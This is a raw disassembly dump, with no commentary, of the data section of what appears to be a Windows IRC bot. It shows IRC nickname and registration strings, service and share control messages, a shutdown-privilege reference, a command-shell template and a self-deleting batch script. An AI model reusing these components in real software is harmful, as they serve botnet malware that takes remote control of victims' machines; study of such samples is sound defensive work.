"aykut1" dd offset aKashmira ; "Kashmira" dd offset aSeviseli ; "SeViSeLi" dd offset aSugarboy ; "SUGARBOY-" dd offset aUzgun36 ; "uzgun36" dd offset aKumul ; "kumul" dd offset aAdalim ; "ADALIM" dd offset aUmut ; "umut-" dd offset aAnk32M ; "ANK-32-M" dd offset aDjspace ; "DJSPACE" dd offset aAnkar ; "Ankar" dd offset aFenerlee ; "FeNeRLee" dd offset aHayran ; "hayran" dd offset aAngelgirl ; "angelgirl" dd offset aKapk ; "kapk" dd offset aAchilles ; "Achilles" dd offset aTegmen ; "TEGMEN" dd offset aKotan ; "kotan" dd offset aSevda ; "sevda" dd offset off_438324 dd offset aAlcatras ; "alcatras" dd offset aA44m ; "a44m" dd offset aBirsen ; "birsen" dd offset aYabanc ; "yabanc" dd offset aDevre ; "devre" dd offset aErkan ; "erkan" dd offset aAnkm ; "ankM" dd offset aAdem28 ; "Adem28" dd offset aMaxsilla ; "maxsilla" dd offset aM41ist ; "M41IST" dd offset aAdamm33 ; "AdAMM33" dd offset aFirtina ; "firtina" dd offset aAta29 ; "Ata29" dd offset aKoray ; "KORAY" dd offset aAkden ; "akden" dd offset aIzmirlm ; "izmirlm" dd offset aUla ; "ula" dd offset aNeHaber ; "NE-HABER" dd offset aPassenger ; "passenger" dd offset aTropikal ; "tropikal" dd offset aCool30m ; "cool30m" dd offset aCem39 ; "cem39" dd offset aRerpjj ; "RERPJJ" dd offset aTeoman ; "TEOMAN```" dd offset aDallas43m ; "DALLAS43M" dd offset aPrometheus ; "prometheus" dd offset aMaveRIck ; "MaVe{R}icK" dd offset aAdamm ; "ADAMM" dd offset aCumhur29 ; "cumhur29" dd offset aWantedlove ; "WANTEDLOVE" off_437EF0 dd offset aSex_0 ; DATA XREF: sub_417ADD+41r ; sub_417ADD+ECr ; "sex" dd offset aLez ; "lez" dd offset aZex ; "zex" dd offset aTree ; "tree" dd offset aBad ; "bad" dd offset aLag ; "lag" dd offset aTambe ; "|tambe|" dd offset aWoh ; "|woh|" dd offset aTot ; "-|tot|" dd offset aSuck ; "|suck|" dd offset aLuck ; "|luck|" dd offset aHub ; "{hub}" dd offset aSex ; "{sex}" dd offset aGens ; "{gens|" dd offset aLuvuF ; "||luvu-f|" dd offset aWiked ; "|wiked|" dd offset aSick ; "sick}}" dd offset aQ8 ; "Q8" dd offset aQ8A ; "|q8|a" dd offset dword_438780 dd offset aC ; "c" dd offset aD ; "d" db 38h ; 8 db 0ACh ; ¬ db 42h ; B db 0 db 98h ; ˜ db 87h ; ‡ db 43h ; C db 0 db 94h ; ” db 87h ; ‡ db 43h ; C db 0 db 90h ; db 87h ; ‡ db 43h ; C db 0 db 0D4h ; Ô db 0C2h ;  db 42h ; B db 0 ; --------------------------------------------------------------------------- cld mov ah, 42h add [ebx+esi*4+42h], al add [eax-39h], bl inc edx add [edi+eax*4-533BFFBDh], cl inc edx add [eax-4Dh], cl inc edx add al, bh mov dl, 42h add [edx+ebp*4+42h], dl add al, ch retn 42h ; --------------------------------------------------------------------------- dd offset aRs ; "rs" dd offset aT ; "t" dd offset aU ; "u" dd offset aV ; "v" ; --------------------------------------------------------------------------- mov al, ds:84004387h xchg eax, [ebx+0] pushf xchg eax, [ebx+0] mov [edi-7E83FFBDh], al inc ebx add [eax-7Fh], bh inc ebx add [ecx+eax*4+43h], dh add [eax-7Fh], dh inc ebx add [ecx+eax*4+43h], ch add [eax-7Fh], ch inc ebx add [ecx+eax*4+43h], ah add [ecx+eax*4+43h], bl add [ecx+eax*4+43h], dl add [ecx+eax*4+43h], cl add [ecx+eax*4+43h], al add [eax-6BFFBC79h], cl xchg eax, [ebx+0] fadd st(2), st inc edx add al, ch retn 42h ; --------------------------------------------------------------------------- dd offset off_438140 dd offset aBbl ; "|bbl" dd offset dword_43D128 dd offset dword_43D128 dd offset a___0 ; "_|_" dd offset dword_43D128 dd offset dword_43D128 dd offset dword_43D128 dd offset dword_43D128 dd offset dword_438750 dd offset aM_0 ; "M" dd offset aLuvu ; "LUVU" dd offset aSad ; "Sad" dd offset aF_2 ; "^^^f^" dd offset dword_438780 dd offset dword_43D128 dd offset aSleeping ; "Sleeping" dd offset dword_43D128 dd offset dword_43D128 dd offset aFuck ; "Fuck" dd offset aFree ; "Free" dd offset dword_43D128 dd offset dword_43D128 dd offset dword_438734 dd offset dword_43D128 dd offset off_438100 dd offset aGirl_0 ; "GIRL" dd offset aGurl ; "gurl" dd offset aShit ; "shit" dd offset aAha ; "aha" dd offset aYeah ; "yeah" dd offset aMuha ; "muha" dd offset aMof0 ; "mof0" dd offset aMofo ; "mofo" dd offset dword_4380C0 dd offset dword_4380BC dd offset dword_4380B4 dd offset dword_4380A8 dd offset dword_4380A0 dd offset dword_438098 dd offset dword_438090 dd offset dword_43808C dd offset dword_438088 dword_438088 dd 7536h ; DATA XREF: ___:00438084o dword_43808C dd 7535h ; DATA XREF: ___:00438080o dword_438090 dd 7C75347Ch, 0 ; DATA XREF: ___:0043807Co dword_438098 dd 6F79347Bh, 7D75h ; DATA XREF: ___:00438078o dword_4380A0 dd 7375347Ch, 7Ch ; DATA XREF: ___:00438074o dword_4380A8 dd 7865737Ch, 65726634h, 7C65h ; DATA XREF: ___:00438070o dword_4380B4 dd 6F6C6F6Ch, 7C617Ch ; DATA XREF: ___:0043806Co dword_4380BC dd 6C6F6Ch ; DATA XREF: ___:00438068o dword_4380C0 dd 746F74h ; DATA XREF: ___:00438064o aMofo db 'mofo',0 ; DATA XREF: ___:00438060o align 4 aMof0 db 'mof0',0 ; DATA XREF: ___:0043805Co align 4 aMuha db 'muha',0 ; DATA XREF: ___:00438058o align 4 aYeah db 'yeah',0 ; DATA XREF: ___:00438054o align 4 aAha db 'aha',0 ; DATA XREF: ___:00438050o aShit db 'shit',0 ; DATA XREF: ___:0043804Co align 10h aGurl db 'gurl',0 ; DATA XREF: ___:00438048o align 4 aGirl_0 db 'GIRL',0 ; DATA XREF: ___:00438044o align 10h off_438100 dd offset word_594F42 ; DATA XREF: ___:00438040o aFree db 'Free',0 ; DATA XREF: ___:0043802Co align 4 aFuck db 'Fuck',0 ; DATA XREF: ___:00438028o align 4 aSleeping db 'Sleeping',0 ; DATA XREF: ___:0043801Co align 10h aF_2 db '^^^f^',0 ; DATA XREF: ___:00438010o align 4 aSad db 'Sad',0 ; DATA XREF: ___:0043800Co aLuvu db 'LUVU',0 ; DATA XREF: ___:00438008o align 4 a___0 db '_|_',0 ; DATA XREF: ___:00437FECo aBbl db '|bbl',0 ; DATA XREF: ___:00437FE0o align 10h off_438140 dd offset loc_425242 ; DATA XREF: ___:00437FDCo aMuckc db 'muckc',0 align 4 aTruck db 'truck',0 align 4 aTrimy db 'trimy',0 align 4 aLuvy db 'luvy',0 align 4 aUi db 'ui',0 align 4 aSdf db 'sdf',0 aRt db 'rt',0 align 10h aGf db 'gf',0 align 4 aTy db 'ty',0 align 4 aRg db 'rg',0 align 4 aHappy db 'happy',0 align 4 aRs db 'rs',0 ; DATA XREF: ___:00437F80o align 4 aQ8A db '|q8|a',0 ; DATA XREF: ___:00437F38o align 10h aQ8 db 'Q8',0 ; DATA XREF: ___:00437F34o align 4 aSick db 'sick}}',0 ; DATA XREF: ___:00437F30o align 4 aWiked db '|wiked|',0 ; DATA XREF: ___:00437F2Co aLuvuF db '||luvu-f|',0 ; DATA XREF: ___:00437F28o align 10h aGens db '{gens|',0 ; DATA XREF: ___:00437F24o align 4 aSex db '{sex}',0 ; DATA XREF: ___:00437F20o align 10h aHub db '{hub}',0 ; DATA XREF: ___:00437F1Co align 4 aLuck db '|luck|',0 ; DATA XREF: ___:00437F18o align 10h aSuck db '|suck|',0 ; DATA XREF: ___:00437F14o align 4 aTot db '-|tot|',0 ; DATA XREF: ___:00437F10o align 10h aWoh db '|woh|',0 ; DATA XREF: ___:00437F0Co align 4 aTambe db '|tambe|',0 ; DATA XREF: ___:00437F08o aLag db 'lag',0 ; DATA XREF: ___:00437F04o aBad db 'bad',0 ; DATA XREF: ___:00437F00o aTree db 'tree',0 ; DATA XREF: ___:00437EFCo align 10h aZex db 'zex',0 ; DATA XREF: ___:00437EF8o aLez db 'lez',0 ; DATA XREF: ___:00437EF4o aSex_0 db 'sex',0 ; DATA XREF: ___:off_437EF0o aWantedlove db 'WANTEDLOVE',0 ; DATA XREF: ___:00437EECo align 4 aCumhur29 db 'cumhur29',0 ; DATA XREF: ___:00437EE8o align 4 aAdamm db 'ADAMM',0 ; DATA XREF: ___:00437EE4o align 4 aMaveRIck db 'MaVe{R}icK',0 ; DATA XREF: ___:00437EE0o align 4 aPrometheus db 'prometheus',0 ; DATA XREF: ___:00437EDCo align 4 aDallas43m db 'DALLAS43M',0 ; DATA XREF: ___:00437ED8o align 10h aTeoman db 'TEOMAN```',0 ; DATA XREF: ___:00437ED4o align 4 aRerpjj db 'RERPJJ',0 ; DATA XREF: ___:00437ED0o align 4 aCem39 db 'cem39',0 ; DATA XREF: ___:00437ECCo align 4 aCool30m db 'cool30m',0 ; DATA XREF: ___:00437EC8o aTropikal db 'tropikal',0 ; DATA XREF: ___:00437EC4o align 10h aPassenger db 'passenger',0 ; DATA XREF: ___:00437EC0o align 4 aNeHaber db 'NE-HABER',0 ; DATA XREF: ___:00437EBCo align 4 aUla db 'ula',0 ; DATA XREF: ___:00437EB8o aIzmirlm db 'izmirlm',0 ; DATA XREF: ___:00437EB4o aAkden db 'akden',0 ; DATA XREF: ___:00437EB0o align 4 aKoray db 'KORAY',0 ; DATA XREF: ___:00437EACo align 4 aAta29 db 'Ata29',0 ; DATA XREF: ___:00437EA8o align 4 aFirtina db 'firtina',0 ; DATA XREF: ___:00437EA4o aAdamm33 db 'AdAMM33',0 ; DATA XREF: ___:00437EA0o aM41ist db 'M41IST',0 ; DATA XREF: ___:00437E9Co align 4 aMaxsilla db 'maxsilla',0 ; DATA XREF: ___:00437E98o align 10h aAdem28 db 'Adem28',0 ; DATA XREF: ___:00437E94o align 4 aAnkm db 'ankM',0 ; DATA XREF: ___:00437E90o align 10h aErkan db 'erkan',0 ; DATA XREF: ___:00437E8Co align 4 aDevre db 'devre',0 ; DATA XREF: ___:00437E88o align 10h aYabanc db 'yabanc',0 ; DATA XREF: ___:00437E84o align 4 aBirsen db 'birsen',0 ; DATA XREF: ___:00437E80o align 10h aA44m db 'a44m',0 ; DATA XREF: ___:00437E7Co align 4 aAlcatras db 'alcatras',0 ; DATA XREF: ___:00437E78o align 4 off_438324 dd offset byte_4B5245 ; DATA XREF: ___:00437E74o aSevda db 'sevda',0 ; DATA XREF: ___:00437E70o align 10h aKotan db 'kotan',0 ; DATA XREF: ___:00437E6Co align 4 aTegmen db 'TEGMEN',0 ; DATA XREF: ___:00437E68o align 10h aAchilles db 'Achilles',0 ; DATA XREF: ___:00437E64o align 4 aKapk db 'kapk',0 ; DATA XREF: ___:00437E60o align 4 aAngelgirl db 'angelgirl',0 ; DATA XREF: ___:00437E5Co align 10h aHayran db 'hayran',0 ; DATA XREF: ___:00437E58o align 4 aFenerlee db 'FeNeRLee',0 ; DATA XREF: ___:00437E54o align 4 aAnkar db 'Ankar',0 ; DATA XREF: ___:00437E50o align 4 aDjspace db 'DJSPACE',0 ; DATA XREF: ___:00437E4Co aAnk32M db 'ANK-32-M',0 ; DATA XREF: ___:00437E48o align 10h aUmut db 'umut-',0 ; DATA XREF: ___:00437E44o align 4 aAdalim db 'ADALIM',0 ; DATA XREF: ___:00437E40o align 10h aKumul db 'kumul',0 ; DATA XREF: ___:00437E3Co align 4 aUzgun36 db 'uzgun36',0 ; DATA XREF: ___:00437E38o aSugarboy db 'SUGARBOY-',0 ; DATA XREF: ___:00437E34o align 4 aSeviseli db 'SeViSeLi',0 ; DATA XREF: ___:00437E30o align 4 aKashmira db 'Kashmira',0 ; DATA XREF: ___:00437E2Co align 4 aAykut1 db 'aykut1',0 ; DATA XREF: ___:00437E28o align 4 aSadikaellesme db 'SaDIkaEllesme',0 ; DATA XREF: ___:00437E24o align 4 aMahinur db 'MAHINUR',0 ; DATA XREF: ___:00437E20o aHoly db 'holy',0 ; DATA XREF: ___:00437E1Co align 4 aFlord db 'FLoRD',0 ; DATA XREF: ___:00437E18o align 4 aKebikec db 'kebikec',0 ; DATA XREF: ___:00437E14o aEsmerkiz db 'Esmerkiz',0 ; DATA XREF: ___:00437E10o align 4 aElmaazyok db 'elmaazyok',0 ; DATA XREF: ___:00437E0Co align 4 aEmre db 'Emre--',0 ; DATA XREF: ___:00437E08o align 4 aRamtha db 'RAMTHA',0 ; DATA XREF: ___:00437E04o align 4 aImirzali db 'IMIRZALI--',0 ; DATA XREF: ___:00437E00o align 10h aHakan3 db 'hakan3',0 ; DATA XREF: ___:00437DFCo align 4 aMurat34M db 'murat34-m',0 ; DATA XREF: ___:00437DF8o align 4 aKeyiflisert db 'keyifliSERT',0 ; DATA XREF: ___:00437DF4o aArda db 'arda',0 ; DATA XREF: ___:00437DF0o align 4 aDevran db 'devran',0 ; DATA XREF: ___:00437DECo align 10h aBerk19m db 'Berk19m',0 ; DATA XREF: ___:00437DE8o aDenizlim db 'DenizliM',0 ; DATA XREF: ___:00437DE4o align 4 aCongueror db 'CoNGuERoR',0 ; DATA XREF: ___:00437DE0o align 10h aAlpay34m db 'alpay34m',0 ; DATA XREF: ___:00437DDCo align 4 aBogac db 'bogac',0 ; DATA XREF: ___:00437DD8o align 4 aDonjuanm db 'Donjuanm',0 ; DATA XREF: ___:00437DD4o align 10h aAnkh db 'ankh',0 ; DATA XREF: ___:00437DD0o align 4 off_4384B8 dd offset byte_457441 ; DATA XREF: ___:00437DCCo dword_4384BC dd 414C5941h, 2Dh ; DATA XREF: ___:00437DC8o aAlbina db 'albina',0 ; DATA XREF: ___:00437DC4o align 4 aIzmir39m db 'Izmir39m',0 ; DATA XREF: ___:00437DC0o align 4 aZack db 'ZACK',0 ; DATA XREF: ___:00437DBCo align 10h aAnk32m db 'ank32m',0 ; DATA XREF: ___:00437DB8o align 4 aTurkyy db 'turkyy',0 ; DATA XREF: ___:00437DB4o align 10h aAhmet db 'ahmet',0 ; DATA XREF: ___:00437DB0o align 4 aPelincik db 'pelincik',0 ; DATA XREF: ___:00437DACo align 4 aBlackpearl db 'blackpearl',0 ; DATA XREF: ___:00437DA8o align 10h aRetg db 'RETG',0 ; DATA XREF: ___:00437DA4o align 4 aSamyeli21 db 'samyeli21',0 ; DATA XREF: ___:00437DA0o align 4 aPiramit db 'PIRAMIT',0 ; DATA XREF: ___:00437D9Co aAslii db 'aslii',0 ; DATA XREF: ___:00437D98o align 4 aErnesto db 'ERNESTO',0 ; DATA XREF: ___:00437D94o aHaticem db 'haticem',0 ; DATA XREF: ___:00437D90o aArzu db 'ARZU',0 ; DATA XREF: ___:00437D8Co align 4 aSudenur db 'SUDENUR',0 ; DATA XREF: ___:00437D88o aSevmekmi db 'sevmekmi',0 ; DATA XREF: ___:00437D84o align 10h aVenedik34 db 'venedik34',0 ; DATA XREF: ___:00437D80o align 4 aTekir db 'tekir',0 ; DATA XREF: ___:00437D7Co align 4 aMERVE db 'M-E-R-V-E',0 ; DATA XREF: ___:00437D78o align 10h aTrend3 db 'trend3',0 ; DATA XREF: ___:00437D74o align 4 aMelekk db 'melekk',0 ; DATA XREF: ___:00437D70o align 10h aAkin db 'AKIN',0 ; DATA XREF: ___:00437D6Co align 4 aMary db 'MARY',0 ; DATA XREF: ___:00437D68o align 10h aJericho db 'JERICHO',0 ; DATA XREF: ___:00437D64o aTolga34 db 'Tolga34',0 ; DATA XREF: ___:00437D60o aMisssunday db 'misssunday',0 ; DATA XREF: ___:00437D5Co align 4 aIrmal db 'irmal',0 ; DATA XREF: ___:00437D58o align 4 aObenibisevse db 'OBeNiBiSeVSe',0 ; DATA XREF: ___:00437D54o align 4 aBerk19 db 'berk19',0 ; DATA XREF: ___:00437D50o align 4 aHexaaa db 'hexaaa',0 ; DATA XREF: ___:00437D4Co align 4 aErkan27 db 'erkan27',0 ; DATA XREF: ___:00437D48o aKaan38dent db 'kaan38dent',0 ; DATA XREF: ___:00437D44o align 4 aCansuuuu db 'cansuuuu',0 ; DATA XREF: ___:00437D40o align 4 aThr45h3r5 db 'THR45H3R5',0 ; DATA XREF: ___:00437D3Co align 10h aKencing db 'Kencing',0 ; DATA XREF: ___:00437D38o aReshma db 'reshma',0 ; DATA XREF: ___:00437D34o align 10h aCamel db 'CAMEL',0 ; DATA XREF: ___:00437D30o align 4 aGirl db 'GirL',0 ; DATA XREF: ___:00437D2Co align 10h aImra db 'imra',0 ; DATA XREF: ___:00437D28o align 4 aCoredump db 'CoreDump',0 ; DATA XREF: ___:00437D24o align 4 aPuregold db 'puregold',0 ; DATA XREF: ___:00437D20o align 10h aKermit db 'kermit',0 ; DATA XREF: ___:00437D1Co align 4 aManee db 'manee',0 ; DATA XREF: ___:00437D18o align 10h aTroller db 'troller',0 ; DATA XREF: ___:00437D14o aLuisa db 'Luisa',0 ; DATA XREF: ___:00437D10o align 10h aNastysha db 'nastysha',0 ; DATA XREF: ___:00437D0Co align 4 aRimpy db 'rimpy',0 ; DATA XREF: ___:00437D08o align 4 aJanno db 'janno',0 ; DATA XREF: ___:00437D04o align 4 aBunty db 'bunty',0 ; DATA XREF: ___:00437D00o align 4 aHeval db 'heval',0 ; DATA XREF: ___:00437CFCo align 4 aCme db 'cme',0 ; DATA XREF: ___:00437CF8o aMarcy db 'marcy',0 ; DATA XREF: ___:00437CF4o align 4 aTalika db 'talika',0 ; DATA XREF: ___:00437CF0o align 10h aShez db 'Shez',0 ; DATA XREF: ___:00437CECo align 4 aKen db 'ken',0 ; DATA XREF: ___:00437CE8o aFlexster db 'flexster',0 ; DATA XREF: ___:00437CE4o align 4 aKoko db 'koko',0 ; DATA XREF: ___:00437CE0o align 10h aMale db 'male',0 ; DATA XREF: ___:00437CDCo align 4 aSwin db 'swin',0 ; DATA XREF: ___:00437CD8o align 10h aCar1nna db 'Car1nna',0 ; DATA XREF: ___:00437CD4o aKrizha db 'KRIZHA',0 ; DATA XREF: ___:00437CD0o align 10h aEmilya db 'emilya',0 ; DATA XREF: ___:00437CCCo align 4 aBobmarley db 'BOBMARLEY',0 ; DATA XREF: ___:00437CC8o align 4 aMaxxguy db 'maxxguy',0 ; DATA XREF: ___:00437CC4o aFarooq db 'farooq',0 ; DATA XREF: ___:00437CC0o align 4 aSmartmir db 'SMARTMIR',0 ; DATA XREF: ___:00437CBCo align 10h aM_0: ; DATA XREF: ___:00437CB8o ; ___:00438004o unicode 0, <M>,0 word_438724 dw 4Eh ; DATA XREF: sub_419E79+38r ; ___:00437CB4o align 4 dword_438728 dd 42h ; DATA XREF: ___:00437CB0o dword_43872C dd 56h ; DATA XREF: ___:00437CACo dword_438730 dd 43h ; DATA XREF: ___:00437CA8o dword_438734 dd 58h ; DATA XREF: ___:00437CA4o ; ___:00438038o dword_438738 dd 5Ah ; DATA XREF: ___:00437CA0o dword_43873C dd 4Ch ; DATA XREF: ___:00437C9Co dword_438740 dd 4Bh ; DATA XREF: ___:00437C98o dword_438744 dd 4Ah ; DATA XREF: ___:00437C94o dword_438748 dd 48h ; DATA XREF: ___:00437C90o dword_43874C dd 47h ; DATA XREF: ___:00437C8Co dword_438750 dd 46h ; DATA XREF: ___:00437C88o ; ___:00438000o dword_438754 dd 44h ; DATA XREF: ___:00437C84o dword_438758 dd 53h ; DATA XREF: ___:00437C80o dword_43875C dd 50h ; DATA XREF: ___:00437C78o dword_438760 dd 4Fh ; DATA XREF: ___:00437C74o dword_438764 dd 55h ; DATA XREF: ___:00437C6Co word_438768 dw 59h ; DATA XREF: sub_41A19D+38r ; ___:00437C68o align 4 dword_43876C dd 54h ; DATA XREF: ___:00437C64o dword_438770 dd 52h ; DATA XREF: ___:00437C60o dword_438774 dd 45h ; DATA XREF: ___:00437C5Co dword_438778 dd 57h ; DATA XREF: ___:00437C58o dword_43877C dd 51h ; DATA XREF: ___:00437C54o dword_438780 dd 62h ; DATA XREF: ___:00437C48o ; ___:00437F3Co ... dword_438784 dd 78h ; DATA XREF: ___:00437C3Co dword_438788 dd 7Ah ; DATA XREF: ___:00437C38o dword_43878C dd 6Ch ; DATA XREF: ___:00437C34o dword_438790 dd 68h ; DATA XREF: ___:00437C28o dword_438794 dd 67h ; DATA XREF: ___:00437C24o dword_438798 dd 66h, 79h, 77h ; DATA XREF: ___:00437C20o dword_4387A4 dd 4B43494Eh, 0A732520h, 0 ; DATA XREF: sub_4177CF+B1o dword_4387B0 dd 323334h ; DATA XREF: sub_4177CF+79o dword_4387B4 dd 474E4F50h, 0A732520h, 0 ; DATA XREF: sub_4177CF+61o aNickSUserSHotm db 'NICK %s',0Ah ; DATA XREF: sub_4178BA+9Bo db 'USER %s "hotmail.com" "127.0.0.1" :%s',0Ah,0 align 10h a__0 db '-|`_\{[]}',0 ; DATA XREF: sub_417ADD+BCo ; sub_417ADD+175r ... align 4 dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0 dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dd 3000005h, 10h, 18h, 1, 3 dup(0) ; --------------------------------------------------------------------------- mov al, 1 push edx xchg eax, edi retf 0D059h ; --------------------------------------------------------------------------- db 11h dd 0A000D5A8h, 51800DC9h, 0 dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0 aSErrorSD_ db '%s Error: %s <%d>.',0 ; DATA XREF: sub_41814C+72o align 10h aExplorer_exe db 'explorer.exe',0 ; DATA XREF: sub_418293+1Co align 10h aSeshutdownpriv db 'SeShutdownPrivilege',0 ; DATA XREF: sub_418337+2o aComspecCSS db '%%comspec%% /c %s %s',0 ; DATA XREF: sub_418359+140o align 4 a@echoOffRepeat db '@echo off',0Dh,0Ah ; DATA XREF: sub_418359+85o db ':repeat',0Dh,0Ah db 'del "%%1"',0Dh,0Ah db 'if exist "%%1" goto repeat',0Dh,0Ah db 'del "%s"',0 aSdel_bat db '%sdel.bat',0 ; DATA XREF: sub_418359+48o align 4 unk_43892C db 2Dh ; - ; DATA XREF: sub_4184E1+9Co db 3, 34h, 2 db 6Ch ; l db 6Fh, 67h, 2 db 3 aOperatingSyste db '- operating system is not supported',0 align 4 unk_43895C db 2Dh ; - ; DATA XREF: sub_4184E1+8Fo db 3, 34h, 2 db 6Ch ; l db 6Fh, 67h, 2 db 3 aFailedWithErro db '- failed with error code %d',0 align 4 dword_438984 dd 234032Dh, 2676F6Ch, 25202D03h, 6F6C2073h, 6C632067h ; DATA XREF: sub_4184E1+5Co dd 65726165h, 64h off_4389A0 dd offset aAdd ; DATA XREF: sub_4186C1+60r ; sub_418A98+51r ... ; "Add" off_4389A4 dd offset aAdded ; DATA XREF: sub_4186C1+2Dr ; sub_418A98+83r ... ; "Added" dword_4389A8 dd 0 ; DATA XREF: sub_4186C1+18r dd offset aDelete_0 ; "Delete" dd offset aDeleted ; "Deleted" align 8 dd offset aList_1 ; "List" dd offset aListed ; "Listed" dd 0 dd offset aStart_0 ; "Start" dd offset aStarted ; "Started" align 10h dd offset aStop_0 ; "Stop" dd offset aStopped_0 ; "Stopped" dd 1, 438A14h, 438A0Ch, 2, 438A00h, 4389F4h, 3, 746E6F43h dd 65756E69h, 64h, 746E6F43h, 65756E69h, 0 aPaused db 'Paused',0 align 4 aPause_0 db 'Pause',0 align 4 aStopped_0 db 'Stopped',0 ; DATA XREF: ___:004389D4o aStop_0 db 'Stop',0 ; DATA XREF: ___:004389D0o align 4 aStarted db 'Started',0 ; DATA XREF: ___:004389C8o aStart_0 db 'Start',0 ; DATA XREF: ___:004389C4o align 4 aListed db 'Listed',0 ; DATA XREF: ___:004389BCo align 4 aList_1 db 'List',0 ; DATA XREF: ___:004389B8o align 4 aDeleted db 'Deleted',0 ; DATA XREF: ___:004389B0o aDelete_0 db 'Delete',0 ; DATA XREF: ___:004389ACo align 4 aAdded db 'Added',0 ; DATA XREF: ___:off_4389A4o align 4 aAdd db 'Add',0 ; DATA XREF: ___:off_4389A0o unk_438A68 db 2Dh ; - ; DATA XREF: sub_4186C1+67o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSNoServiceSpec db '- %s: no service specified',0 unk_438A8C db 2Dh ; - ; DATA XREF: sub_4186C1+51o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aErrorWithServi db '- error with service: ',27h,'%s',27h,' - %s',0 align 4 unk_438AB8 db 2Dh ; - ; DATA XREF: sub_4186C1+33o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSServiceS db '- %s service: ',27h,'%s',27h,0 aAnUnknownError db 'An unknown error occurred: <%ld>',0 ; DATA XREF: sub_4187DD+12Co align 4 aTheSystemIsShu db 'The system is shutting down.',0 ; DATA XREF: sub_4187DD:loc_4188F5o align 4 aTheServiceHasN db 'The service has not been started.',0 ; DATA XREF: sub_4187DD:loc_4188EEo align 4 aTheRequested_1 db 'The requested control code cannot be sent to the service because ' ; DATA XREF: sub_4187DD:loc_4188E7o db 'the state of the service.',0 align 4 aTheServiceHa_0 db 'The service has been marked for deletion.',0 ; DATA XREF: sub_4187DD:loc_4188E0o align 4 aTheServiceCoul db 'The service could not be logged on. The account does not have the' ; DATA XREF: sub_4187DD:loc_4188D9o db ' correct access rights.',0 align 10h aTheSpecified_0 db 'The specified service does not exist.',0 ; DATA XREF: sub_4187DD:loc_4188D2o align 4 aTheServiceHasB db 'The service has been disabled.',0 ; DATA XREF: sub_4187DD:loc_4188CBo align 4 aTheServiceDe_0 db 'The service depends on another service that has failed to start.',0 ; DATA XREF: sub_4187DD:loc_4188C4o align 4 aTheServiceDepe db 'The service depends on a service that does not exist or has been ' ; DATA XREF: sub_4187DD:loc_4188BDo db 'marked for deletion.',0 align 4 aTheSpecifiedDa db 'The specified database does not exist.',0 ; DATA XREF: sub_4187DD:loc_4188B6o align 4 aAnInstanceOfTh db 'An instance of the service is already running.',0 ; DATA XREF: sub_4187DD:loc_41888Bo align 4 aTheRequested_0 db 'The requested control code is not valid, or it is unacceptable to' ; DATA XREF: sub_4187DD:loc_418884o db ' the service.',0 align 4 aTheProcessForT db 'The process for the service was started, but it did not call Star' ; DATA XREF: sub_4187DD:loc_41887Do db 'tServiceCtrlDispatcher.',0 align 4 aAThreadCouldNo db 'A thread could not be created for the service.',0 ; DATA XREF: sub_4187DD:loc_418876o align 4 aTheDatabaseIsL db 'The database is locked.',0 ; DATA XREF: sub_4187DD+8Fo aTheServiceCann db 'The service cannot be stopped because other running services are ' ; DATA XREF: sub_4187DD:loc_41884Bo db 'dependent on it.',0 align 4 aTheServiceBina db 'The service binary file could not be found.',0 ; DATA XREF: sub_4187DD:loc_418841o aTheHandleDoesN db 'The handle does not have the required access right.',0 ; DATA XREF: sub_4187DD:loc_418837o aTheHandleIsInv db 'The handle is invalid.',0 ; DATA XREF: sub_4187DD:loc_41882Do align 4 aTheRequestedCo db 'The requested control code is undefined.',0 ; DATA XREF: sub_4187DD:loc_418823o align 4 aTheSpecifiedSe db 'The specified service name is invalid.',0 ; DATA XREF: sub_4187DD+3Co align 10h aSSS db '%s: %s (%s)',0 ; DATA XREF: sub_41895B+EBo aStopped db ' Stopped',0 ; DATA XREF: sub_41895B:loc_418A27o aStarting db ' Starting',0 ; DATA XREF: sub_41895B:loc_418A20o aStoping db ' Stoping',0 ; DATA XREF: sub_41895B:loc_418A19o aRunning db ' Running',0 ; DATA XREF: sub_41895B:loc_418A12o aContinuing db ' Continuing',0 ; DATA XREF: sub_41895B:loc_418A0Bo aPausing db ' Pausing',0 ; DATA XREF: sub_41895B:loc_418A04o aPaused_0 db ' Paused',0 ; DATA XREF: sub_41895B:loc_4189FDo aUnknown_0 db ' Unknown',0 ; DATA XREF: sub_41895B+9Bo aTheFollowingWi db 'The following Windows services are registered:',0 ; DATA XREF: sub_41895B+25o align 4 unk_43900C db 2Dh ; - ; DATA XREF: sub_418A98+ACo db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSNoShareSpecif db '- %s: no share specified',0 align 10h dword_439030 dd 234032Dh, 274656Eh, 25202D03h, 68732073h, 3A657261h ; DATA XREF: sub_418A98+8Ao dd 73252720h, 27h unk_43904C db 2Dh ; - ; DATA XREF: sub_418A98+58o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSErrorWithShar db '- %s: error with share: ',27h,'%s',27h,' - %s',0 align 4 a14s24s6u4s db '%-14S %-24S %-6u %-4s',0 ; DATA XREF: sub_418C8E+D0o align 10h aNo db 'No',0 ; DATA XREF: sub_418C8E+BCo align 4 aYes db 'Yes',0 ; DATA XREF: sub_418C8E+B5o unk_439098 db 2Dh ; - ; DATA XREF: sub_418C8E+76o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aShareListError db '- share list error %s <%ld>',0 align 10h aShareNameResou db 'Share name: Resource: Uses: Desc:',0 ; DATA XREF: sub_418C8E+26o align 4 unk_4390F8 db 2Dh ; - ; DATA XREF: sub_418DAF+B7o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSNoUsernameSpe db '- %s: no username specified',0 align 10h unk_439120 db 2Dh ; - ; DATA XREF: sub_418DAF+95o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSErrorWithUser db '- %s: error with username: ',27h,'%s',27h,' - %s',0 align 10h unk_439150 db 2Dh ; - ; DATA XREF: sub_418DAF+6Do db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSUsernameS db '- %s username: ',27h,'%s',27h,0 align 10h unk_439170 db 2Dh ; - ; DATA 